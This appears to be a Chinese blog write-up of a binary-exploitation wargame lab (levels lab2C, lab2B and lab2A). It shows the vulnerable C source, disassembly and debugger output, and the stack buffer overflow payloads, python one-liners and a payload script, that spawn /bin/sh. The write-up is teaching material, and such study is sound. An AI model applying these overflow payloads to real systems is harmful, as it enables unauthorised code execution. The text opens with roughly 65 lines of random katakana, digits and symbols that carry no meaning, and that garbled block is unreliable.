ムクソカクナケフçタハマロZ6ホ日モヒ4
クレルçアZエシネスフ74ーヨノ5ラ9ウ
ロモキナチヤカウ9ミハ・ノ日ユシマ7ク:
ア0ツコロリ3ヨルソンヘトネçク9ーレサ
4フツハヘワケ8ヤ01ホタエオ:ウメリク
1Zリナミアユワツトキタヤテçネノ8ケセ
ホイ7コセヒケ8日ラエリヲトタヤワ3テウ
.フナヌカニクキヒソーコ09セ1ホサヘワ
クカルムミヨニラテ・ネ8ヌオユハナ日9ア
ワコチキーヨクスムルツヘン.フ9タセアヲ
.7カウレ9ツ2テ1サノンモムクスローヌ
テZ6ヌキカソルウ.シ8日ハ59ツ2ニサ
ヨナシマロリヒ5ウヌアミエムン日3ス.ホ
セエホ3ユルZヘーオヲレニクカヤヒ:リソ
カチソ.ヲコ4クノケフオ5クス61タツレ
チムツZシイレ日3タ5クモリス6ユニソワ
ケ.ハオ0ナ65ヒクルソヨZレ32日モç
ユノ日ミチヨヘナ5タル4キ9ハイテヲマ0
Z97.レシウアクチロツフ35ーワケネラ
ンー5ケロラ:29モチスニクçワリ・コ0
ユ5ネセエヌールタラ・ケ.ヤヲナテホノウ
カモヌム4ク7ロウー.チメニヘヨ8ノルト
:ーヘ6ミ9日ホキロムコテヤサルヌイçラ
イセヘヤç8ケヒユモサーZマミンリアエホ
ç6エノホニシーヘムイメマヤセヒンヲ2Z
ナクスローモエフ1リサ4カ日テコヒ・ツニ
タキムチç日0ウワ6メコヘセユナツア4オ
カツレソ2ー7.ヒ8シçニタオトヌ4フネ
ホサヒソネ・タ0シロミコワー23トテスキ
ケ2ムレイラZユミツメヤ8・ニヨソロアナ
トミ29ワヌ4サクリラタカ86マZウルユ
ルフçニマチ.6タヘム8ヲレナテキノZイ
カルフンユリタヤ8ヒ:モヘコテオクエツワ
メ日42キアヲçZハシニナ1ムウコセネヨ
ト8セZ3オイークカ・ラタシニ0ノ2ツメ
カク8ヲ:テシト9キツ日6タエコムヘサ・
5ツソマオ・.フ279ロçホネメタ:ヌ4
ルスライZミソヒワ2ク3ト7ヨシ1ネ・日
ワ.シZユクー60ンタア・ツ3オクマ9チ
ネミ5Zムフ:ヨ2リウ7タ94キイマーシ
ナメユオヲ・サン7ホチレ04:9ヌç日ハ
.ムナタヒリオツニ48イ日エ0サウソ5テ
ノメワ5・モアスカ:ラムçキト日ク2ニケ
2ユ5çヤカヌコ9ロヨウシト0ノタリメオ
7タツヒ.エハ:ナワメーオリヨセ301・
シロ9タナニネワテホキヒクカ8ーセクハ.
:ラク8ノホテイ2.クモヤウシニールマヘ
イ日スルツキフヲ94ア3ワナネヘセクユ2
ラルワ8ヲセシ6ケチホムヒ・ミオサフエア
ソモヤーホタカ日・ンリミ.ネノメ:çマロ
ヌキイルニ84モコ7リク日ノ1ンメクレト
0クロçナ1ムモ9シエサ日ヲラコヌZハヤ
ヘチタンテキ1ロ4ユサツ0セクーカソホヤ
9オロチヒ0ネ6・:4çメハヲユニミワツ
キリ8ト:ヒルスオウカヌホ5ソニネラサナ
ナフマ7ーサシ・ユンワテミリラツヌZ02
モア4リ20ータム.Zヒラコスクヌソキツ
エ3ヒキ6タヨムミ1ーçスホメヌア2モソ
ノハキ8ウツサイ・ーチスオ4ロ7ルムラヒ
ンホスZハ9レーカケキトコヌル0.ウラヤ
日フ.05トテアシハナロニルワス29ヌレ
キム3ホケハクミリス9テユラートçレ7チ
6タツ.ヲキリヌセ04Zホチヤ:シイロン
5ー3レクユ:ロチホヲ8ソテマ1ヌシ2ヤ
タツアコ4サミモソオケ0ネカ.57ナムロ

Writeup 2ABC

Writeup 2ABC

七月 14, 2019 阅读 208 字数 10107 评论 0 喜欢 0

lab2C

Let’s have a look source code;

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
 * compiled with:
 * gcc -O0 -fno-stack-protector lab2C.c -o lab2C
 */

void shell()
{
	printf("You did it.\n");
	system("/bin/sh");
}

int main(int argc, char** argv)
{
	if(argc != 2)
	{
		printf("usage:\n%s string\n", argv[0]);
		return EXIT_FAILURE;
	}

	int set_me = 0;
	char buf[15];
	strcpy(buf, argv[1]);

	if(set_me == 0xdeadbeef)
	{
		shell();
	}
	else
	{
		printf("Not authenticated.\nset_me was %d\n", set_me);
	}

	return EXIT_SUCCESS;
}

首先,快速浏览找到脆弱点,通过 function strcpy ,可以发现这里存在 溢出点;
接着就是 cmp set_me 和 0xdeadbeef, 成功就调用系统shell;

所以只要我们让 buf[]溢出到覆盖 set_me的值 == 0xdeadbeef 就可以;
栈中变量的分布是这样的:

esp+0     buf[15]   <-- second definition
esp+15   set_me   <-- first     definition

让我们看看汇编中 申明的变量 是不是在栈中这样储存的;

[0x080485b0]> pdf @  sym.main
╒ (fcn) sym.main 119
│          ; arg int arg_0_2      @ ebp+0x2
│          ; arg int arg_3        @ ebp+0xc
│          ; DATA XREF from 0x080485c7 (entry0)
│          ;-- main:
│          ;-- sym.main:
│          0x080486cd    55             push ebp
│          0x080486ce    89e5           mov ebp, esp
│          0x080486d0    83e4f0         and esp, 0xfffffff0
│          0x080486d3    83ec30         sub esp, 0x30
│          0x080486d6    837d0802       cmp dword [ebp + 8], 2          ; [0x2:4]=0x101464c
│      ┌─< 0x080486da    741c           je 0x80486f8
│      │   0x080486dc    8b450c         mov eax, dword [ebp + 0xc]      ; [0xc:4]=0
│      │   0x080486df    8b00           mov eax, dword [eax]
│      │   0x080486e1    89442404       mov dword [esp + 4], eax        ; [0x4:4]=0x10101
│      │   0x080486e5    c70424f48704.  mov dword [esp], str.usage:_n_s_string_n  ; [0x80487f4:4]=0x67617375  ; "usage:.%s string." @ 0x80487f4
│      │   0x080486ec    e85ffeffff     call sym.imp.printf             ; sub.printf_12_54c+0x4
│      │     ^- sub.printf_12_54c() ; sym.imp.printf
│      │   0x080486f1    b801000000     mov eax, 1
│     ┌──< 0x080486f6    eb4a           jmp 0x8048742
│     │└   ; JMP XREF from 0x080486da (sym.main)
│     │└─> 0x080486f8    c744242c0000.  mov dword [esp + 0x2c], 0       ; [0x2c:4]=0x280009  ; ','
│     │    0x08048700    8b450c         mov eax, dword [ebp + 0xc]      ; [0xc:4]=0
│     │    0x08048703    83c004         add eax, 4
│     │    0x08048706    8b00           mov eax, dword [eax]
│     │    0x08048708    89442404       mov dword [esp + 4], eax        ; [0x4:4]=0x10101
│     │    0x0804870c    8d44241d       lea eax, [esp + 0x1d]           ; 0x1d
│     │    0x08048710    890424         mov dword [esp], eax
│     │    0x08048713    e848feffff     call sym.imp.strcpy
│     │      ^- sym.imp.strcpy()
│     │    0x08048718    817c242cefbe.  cmp dword [esp + 0x2c], 0xdeadbeef  ; [0xdeadbeef:4]=-1
│    ┌───< 0x08048720    7507           jne 0x8048729
│    ││    0x08048722    e886ffffff     call sym.shell

可以看到 line 28 是strcpy 第二个入栈的参数, 就是我们的 buf[], 而 line 32 cmp dword [esp + 0x2c], 0xdeadbeef 也就是set_me了
真正的栈状态就是这样:

esp+0x1d(29)    buf[15]   <-- second definition
esp+0x2c(44)    set_me   <-- first     definition

so easy:

lab2C@warzone:/levels/lab02$ ./lab2C $(python -c 'print("A")*15+"\xef\xbe\xad\xde"')
You did it.
$ whoami
lab2B
$

lab2B

let’s have a look source coke

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
 * compiled with:
 * gcc -O0 -fno-stack-protector lab2B.c -o lab2B
 */

char* exec_string = "/bin/sh";

void shell(char* cmd)
{
	system(cmd);
}

void print_name(char* input)
{
	char buf[15];
	strcpy(buf, input);
	printf("Hello %s\n", buf);
}

int main(int argc, char** argv)
{
	if(argc != 2)
	{
		printf("usage:\n%s string\n", argv[0]);
		return EXIT_FAILURE;
	}

	print_name(argv[1]);

	return EXIT_SUCCESS;
}

首先, 快速浏览代码找到脆弱点, 自定义 print_name function 里面调用了strcpy ,可是print_name里面没有调用系统shell,实际上shell function 没有被任何人调用;
那么我们只能覆盖 return address 到 shell function, shell 函数还需要一个参数,char* exec_string = “/bin/sh”;

  1. 先在静态分析下,找到 shell 和 Bin 的地址;
  2. 在print_name function 计算出偏移覆盖的地址;
  3. let’s do it
[0x080485c0]> iz~bin
vaddr=0x080487d0 paddr=0x000007d0 ordinal=000 sz=8 len=7 section=.rodata type=a string=/bin/sh
[0x080485c0]> is~shell
vaddr=0x080486bd paddr=0x000006bd ord=070 fwd=NONE sz=19 bind=GLOBAL type=FUNC name=shell
[0x080485c0]>

/bin/sh 的地址是 0x080487d0
shell function的地址是 0x080486bd

接下来计算溢出的偏移量,先静态分析;

[0x080485c0]> pdf @ sym.print_name
╒ (fcn) sym.print_name 45
│          ; arg int arg_2        @ ebp+0x8
│          ; var int local_5_3    @ ebp-0x17
│          ; CALL XREF from 0x08048733 (sym.main)
│          ;-- sym.print_name:
│          0x080486d0    55             push ebp
│          0x080486d1    89e5           mov ebp, esp
│          0x080486d3    83ec28         sub esp, 0x28
│          0x080486d6    8b4508         mov eax, dword [ebp + 8]        ; [0x8:4]=0
│          0x080486d9    89442404       mov dword [esp + 4], eax        ; [0x4:4]=0x10101
│          0x080486dd    8d45e9         lea eax, [ebp-local_5_3]
│          0x080486e0    890424         mov dword [esp], eax
│          0x080486e3    e898feffff     call sym.imp.strcpy ;sym.imp.strcpy()
│          0x080486e8    8d45e9         lea eax, [ebp-local_5_3]
│          0x080486eb    89442404       mov dword [esp + 4], eax        ; [0x4:4]=0x10101
│          0x080486ef    c70424d88704.  mov dword [esp], str.Hello__s_n  ; [0x80487d8:4]=0x6c6c6548  ; "Hello %s." @ 0x80487d8
│          0x080486f6    e875feffff     call sym.imp.printf             ; sub.printf_12_56c+0x4 ;sub.printf_12_56c() ; sym.imp.printf
│          0x080486fb    c9             leave
╘          0x080486fc    c3             ret
[0x080485c0]>

print_name function 里面有一个自定义变量 char buf[15] , 在栈中的地址是 ebp-0x17(line 4)
此时栈状态是

ebp-0x17 buf[15]
ebp+0 save ebp
ebp+0x4 ret adds
ebp+0x8 push arg

那么从buf覆盖到 ret adds 即可,len=23(0x17)+4(0x4)=27 byte 所以构造的参数应该是

pattern = AAAAAAAAAAAAAAAAAAAAAA(27 Byte)bbbb(eip)

接下来使用暴力法获取偏移量

lab2B@warzone:/levels/lab02$ gdb lab2B
Reading symbols from lab2B...(no debugging symbols found)...done.
gdb-peda$ r AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK
Starting program: /levels/lab02/lab2B AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK
Hello AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x33 ('3')
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x0
EDX: 0xb7fce898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x47474746 ('FGGG')
ESP: 0xbffff6b0 ("HIIIIJJJJKKKK")
EIP: 0x48484847 ('GHHH')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x48484847
[------------------------------------stack-------------------------------------]
0000| 0xbffff6b0 ("HIIIIJJJJKKKK")
0004| 0xbffff6b4 ("IJJJJKKKK")
0008| 0xbffff6b8 ("JKKKK")
0012| 0xbffff6bc --> 0xb7fc004b --> 0xc7410c0e
0016| 0xbffff6c0 --> 0x8048740 (<__libc_csu_init>:	push   ebp)
0020| 0xbffff6c4 --> 0x0
0024| 0xbffff6c8 --> 0x0
0028| 0xbffff6cc --> 0xb7e3ca83 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x48484847 in ?? ()
gdb-peda$

可以看到 当前EIP的内容是GHHH(line 17) 恰好是 27Byte+4byte(GHHH)。

现在让我们来看看 shell函数是怎么调用入参 /bin/sh的 ,我们这里不是用call 函数调用的,而是利用 ret 去覆盖掉了 ret adds 的值;
那么 我们进入shell函数的时候 ebp是多少呢 ?/bin/sh 应该放在栈的什么位置呢?
值得注意的是 当前栈状态是

0000| 0xbffff6b0 (“HIIIIJJJJKKKK”) <—-saved ret adds
0004| 0xbffff6b4 (“IJJJJKKKK”) <—- push arg

为什么这里的 入栈的参数不是 0x08呢,因为还没进入函数执行 push ebp,move ebp esp ;

所以 结合上面line 23 参入栈的位置就是 27(byte)+4(ret adds)+4+4(push arg)
所以构造的参数应该是

pattern = AAAAAAAAAAAAAAAAAAAAAA(27 Byte)bbbb(eip)AAAACCC(/bin/sh)

lab2B@warzone:/levels/lab02$ ./lab2B $(python -c 'print "A"*27+"\xbd\x86\x04\x08"+"AAAA"+"\xd0\x87\x04\x08"')
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAЇ
$ whoami
lab2A
$

lab2A

Let’s have a look source code;

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * compiled with:
 * gcc -O0 -fno-stack-protector lab2A.c -o lab2A
 */

void shell()
{
	printf("You got it\n");
	system("/bin/sh");
}

void concatenate_first_chars()
{
	struct {
		char word_buf[12];
		int i;
		char* cat_pointer;
		char cat_buf[10];
	} locals;
	locals.cat_pointer = locals.cat_buf;

	printf("Input 10 words:\n");
	for(locals.i=0; locals.i!=10; locals.i++)
	{
		// Read from stdin
		if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')
		{
			printf("Failed to read word\n");
			return;
		}
		// Copy first char from word to next location in concatenated buffer
		*locals.cat_pointer = *locals.word_buf;
		locals.cat_pointer++;
	}

	// Even if something goes wrong, there's a null byte here
	//   preventing buffer overflows
	locals.cat_buf[10] = '\0';
	printf("Here are the first characters from the 10 words concatenated:\n\
%s\n", locals.cat_buf);
}

int main(int argc, char** argv)
{
	if(argc != 1)
	{
		printf("usage:\n%s\n", argv[0]);
		return EXIT_FAILURE;
	}

	concatenate_first_chars();

	printf("Not authenticated\n");
	return EXIT_SUCCESS;
}

What dose the program do?
–> 从 main 函数里面 调用了 concatenate_first_chars();
–> 在 concatenate_first_chars 里面 定义了一个 locals 的 struct;
–> 提示输入 10 个 字符;
–> for 循环 , local.i=0 开始,只要 i 不等于 10, i ++;
–> 在循环里面, 通过fgets 读取字符 数量为 0x10(16) 给 word_buf
–> 把 word_buf 的第一个字符 复制给 cat_pointer;
–> cat_pointer inc;

现在让我们来理一理思路;我们最终的目的是要调用到 shell function,可是shell function没有被任何函数调用,那么我们只能溢出覆盖ret adds;
溢出靠谁呢,靠Fgets() 读取的0x10(16 byte) 因为 word_buf 只有12个Byte;
这里溢出之后会覆盖到谁呢?最多也就16Byte 用奶子想 肯定也不够覆盖到 ret adds;
那么让我们先来理一理栈的分布情况吧,就让我们用静态分析看看 进入concatenate_first_chars 的时候的栈状态;

[0x08048600]> pdf @ sym.concatenate_first_chars
╒ (fcn) sym.concatenate_first_chars 153
│          ; var int local_2_2    @ ebp-0xa
│          ; var int local_6      @ ebp-0x18
│          ; var int local_7      @ ebp-0x1c
│          ; var int local_10     @ ebp-0x28
│          ; CALL XREF from 0x080487e1 (sym.main)
│          ;-- sym.concatenate_first_chars:
│          0x0804871d    55             push ebp
│          0x0804871e    89e5           mov ebp, esp
│          0x08048720    83ec38         sub esp, 0x38
│          0x08048723    8d45d8         lea eax, [ebp-local_10]
│          0x08048726    83c014         add eax, 0x14
│          0x08048729    8945e8         mov dword [ebp-local_6], eax
│          0x0804872c    c70424a38804.  mov dword [esp], str.Input_10_words:  ; [0x80488a3:4]=0x75706e49  ; "Input 10 words:" @ 0x80488a3
│          0x08048733    e888feffff     call sym.imp.puts

刚进入 concatenate_first_chars 的时候

esp+0x00 ret adds <–pushed by call instruction

在函数里面 ,push ebp 进了栈;

esp+0x00 saved ebp <–push ebp
esp+0x04 ret adds <–pushed by call instruction

line 10, 把 esp的值 给了ebp,因为函数里的变量都是用 ebp调用的;

ebp+0x00 saved ebp
ebp+0x04 ret adds

现在让我们把所有已知的栈里面的变量放进来(on line 3-6)

ebp-0x28 [???]
ebp-0x1c [???]
ebp-0x18 [???]
ebp-0xa [???]

在函数一开始 把[ebp-local_10] + 0x14 的值 move 给了 [ebp_local_6],对应的C代码是:

locals.cat_pointer = locals.cat_buf;

那么 [ebp-local_10] + 0x14 = ebp-0x14 = cat_buf;
[ebp_local_6]=ebp-0x18= cat_pointer

ebp-0x28 [ locals.word_buf]
ebp-0x1c [ locals.i]
ebp-0x18 [ locals.cat_pointer]
ebp-0x14 [ locals.cat_buf]
ebp-0x0a […]
ebp+0x00 saved ebp
ebp+0x04 ret adds

我们知道locals.word_buf 是12个字节,Fgets 读取16个字节,可以造成溢出,可是溢出4个字节不至于覆盖到ret adds,最多只能覆盖到后面的 locals.i;
然而 循环正是有 locals.i 决定的 ,只要 i != 10 ,循环就可以一直执行下去,然后就可以一个字节 一个字节 复制给 locals.cat_pointer,然后 locals.cat_pointer 一直自增下去 就可以覆盖到 rets adds;

现在让我们计算一下 怎么覆盖到locals.i 让循环一直下去;只要让fgets的第十三个字符 +1 不等于10 即可,为什么要加1,因为执行fgets之后 i++;

[--------------word_buf-----------] [----i----]
A  A  A  A  A  A  A  A  A  A  A  A  \n
41 41 41 41 41 41 41 41 41 41 41 41 0a 00 00 00

Fgets() 是不会截断换行的 而0x0a=10 local.i++之后 就等于 11;循环可以无限;

解决无限循环之后,我们来计算从locals.cat_pointer 覆盖到 ret adds 一共需要多少个Byte;第一次覆盖locals.i之后 也同样会被值赋给locals.cat_pointer,所以 后面的循环只需要 覆盖到 ebp-014 到 ebp0x0a 再到 ebp+0x04 所以是 10+10=4 =24Byte;
现在让我们看看 shell functions 的地址:0x080486fd

[0x08048600]> afl |grep shell
0x080486fd  32  1  sym.shell
[0x08048600]> is~shell
vaddr=0x080486fd paddr=0x000006fd ord=071 fwd=NONE sz=32 bind=GLOBAL type=FUNC name=shell
[0x08048600]>

脚本用python来实现,写入 /tmp/out

#overflow locals.i
print("A"*12)

#overflow locals.buf 和 ebp+0x04
for i in range(23):
	print("A")
	
#overflow return adds
print("\xfd")
print("\x86")
print("\x04")
print("\x08")

#exit loop
print("")

getshell

lab2A@warzone:/levels/lab02$ (cat /tmp/out;cat)|./lab2A
Input 10 words:
Failed to read word
You got it
whoami
lab2end
Segmentation fault (core dumped)
lab2A@warzone:/levels/lab02$

发表评论

电子邮件地址不会被公开。 必填项已用*标注